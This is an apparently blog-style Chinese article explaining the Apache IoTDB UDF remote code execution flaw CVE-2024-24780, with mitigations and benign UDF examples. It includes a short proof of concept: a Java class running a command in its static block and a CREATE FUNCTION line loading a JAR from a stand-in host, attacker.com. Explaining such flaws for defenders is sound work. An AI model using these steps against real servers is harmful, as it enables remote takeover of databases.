Apache IoTDB远程代码执行漏洞(CVE-2024-24780)详解与防护

397 阅读3分钟

漏洞背景与基础知识介绍

Apache IoTDB 是一款开源的工业物联网时序数据库,支持用户通过**用户自定义函数(UDF)**来扩展功能。用户可以用 Java 编写自定义函数,然后注册到 IoTDB 中执行。

什么是 UDF?

  • UDF(User-defined Function) :用户自己写的函数,可以用来对数据库中的数据进行特殊处理或计算。

  • IoTDB 支持两种方式加载 UDF:

    1. 手动放置 JAR 包:将包含 UDF 的 Java JAR 文件放到每个节点的指定目录(如 ext/udf)。
    2. 通过 URI 自动下载 JAR 包:注册 UDF 时,指定一个网络地址(URI),IoTDB 会自动从该地址下载 JAR 包并同步到集群。

漏洞原理简述

漏洞发生在第二种方式(自动下载 JAR 包):

  • 攻击者如果拥有创建 UDF 的权限,可以指定一个恶意的远程 URI。
  • IoTDB 会自动下载该恶意 JAR 包,并在所有节点加载执行。
  • 恶意代码就这样在服务器上执行,导致远程代码执行(RCE) ,攻击者可以控制服务器。

影响版本

  • 受影响版本:Apache IoTDB 1.0.0 到 1.3.4(不含1.3.4)
  • 官方已在 1.3.4 版本修复该漏洞,强烈建议升级。

漏洞利用步骤示例

假设攻击者已经获得了 IoTDB 的 UDF 创建权限,利用流程如下:

  1. 编写恶意 Java 代码

    例如,写一个类 com.attacker.EvilClass,在类的静态代码块中执行恶意命令(如启动反向Shell)。

    package com.attacker;
    
    public class EvilClass {
        static {
            try {
                Runtime.getRuntime().exec("calc"); // Windows打开计算器示例
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    
  2. 打包成 JAR

    使用 javac 编译并用 jar 命令打包成 evil.jar

  3. 上传恶意 JAR 到远程服务器

    比如上传到 http://attacker.com/evil.jar,确保 IoTDB 服务器能访问。

  4. 在 IoTDB 中注册恶意 UDF

    执行 SQL 命令:

    sql
    CREATE FUNCTION evilFunc AS 'com.attacker.EvilClass' USING URI 'http://attacker.com/evil.jar';
    
  5. IoTDB 自动下载并执行

    IoTDB 会下载 evil.jar,加载 EvilClass,执行静态代码块中的恶意命令。

  6. 远程代码执行成功

    攻击者获得服务器控制权。

防护措施

  • 升级 IoTDB 至 1.3.4 或更高版本,官方已修复该漏洞。
  • 严格限制 UDF 创建权限,只允许可信用户操作。
  • 避免使用不可信的 URI 注册 UDF,尤其是外部网络地址。
  • 监控 UDF 注册操作日志,及时发现异常注册行为。

IoTDB 自定义函数(UDF)基础示例与说明

1. 简单的 UDF 示例代码

下面是一个简单的 UDF 示例,实现对输入整数取负数的功能:

import org.apache.iotdb.udf.api.UDTF;
import org.apache.iotdb.udf.api.access.Row;
import org.apache.iotdb.udf.api.collector.PointCollector;
import org.apache.iotdb.udf.api.customizer.config.UDTFConfigurations;
import org.apache.iotdb.udf.api.customizer.parameter.UDFParameters;
import org.apache.iotdb.udf.api.customizer.strategy.RowByRowAccessStrategy;
import org.apache.iotdb.udf.api.type.Type;

import java.io.IOException;

public class NegateFunction implements UDTF {

    @Override
    public void beforeStart(UDFParameters parameters, UDTFConfigurations configurations) {
        // 设置访问策略为逐行访问,输出数据类型为整型
        configurations.setAccessStrategy(new RowByRowAccessStrategy())
                      .setOutputDataType(Type.INT32);
    }

    @Override
    public void transform(Row row, PointCollector collector) throws IOException {
        if (!row.isNull(0)) {
            int value = row.getInt(0);
            collector.putInt(row.getTime(), -value);
        }
    }
}

2. 注册 UDF 的两种方式

  • 方式一:手动放置 JAR 包

    将编译好的 JAR 放到所有节点的 ext/udf 目录下,然后执行:

    CREATE FUNCTION negate AS 'com.example.NegateFunction';
    
  • 方式二:通过 URI 自动下载

    将 JAR 上传到 HTTP 服务器,执行:

    CREATE FUNCTION negate AS 'com.example.NegateFunction' USING URI 'http://example.com/negate.jar';
    

    IoTDB 会自动下载并同步到所有节点。

进阶示例:两个整数相加的 UDF

import org.apache.iotdb.udf.api.UDTF;
import org.apache.iotdb.udf.api.access.Row;
import org.apache.iotdb.udf.api.collector.PointCollector;
import org.apache.iotdb.udf.api.customizer.config.UDTFConfigurations;
import org.apache.iotdb.udf.api.customizer.parameter.UDFParameters;
import org.apache.iotdb.udf.api.customizer.strategy.RowByRowAccessStrategy;
import org.apache.iotdb.udf.api.type.Type;

public class Adder implements UDTF {

    @Override
    public void beforeStart(UDFParameters parameters, UDTFConfigurations configurations) {
        configurations.setOutputDataType(Type.INT64)
                      .setAccessStrategy(new RowByRowAccessStrategy());
    }

    @Override
    public void transform(Row row, PointCollector collector) throws Exception {
        if (row.isNull(0) || row.isNull(1)) {
            return;
        }
        long sum = row.getLong(0) + row.getLong(1);
        collector.putLong(row.getTime(), sum);
    }
}

总结

  • CVE-2024-24780 漏洞核心:IoTDB 自动从不可信 URI 下载并执行 UDF JAR 包,导致远程代码执行。
  • 解决办法:升级到 1.3.4 及以上版本,限制 UDF 创建权限,避免使用不可信 URI。
  • 理解 UDF:是 IoTDB 扩展功能的重要方式,用户编写 Java 代码打包为 JAR,注册后由数据库调用。
  • 安全建议:严格控制 UDF 权限,监控注册行为,确保只加载可信代码。

通过上述基础知识和示例代码,您可以更好地理解 IoTDB 的 UDF 机制及该漏洞的风险与防护方法。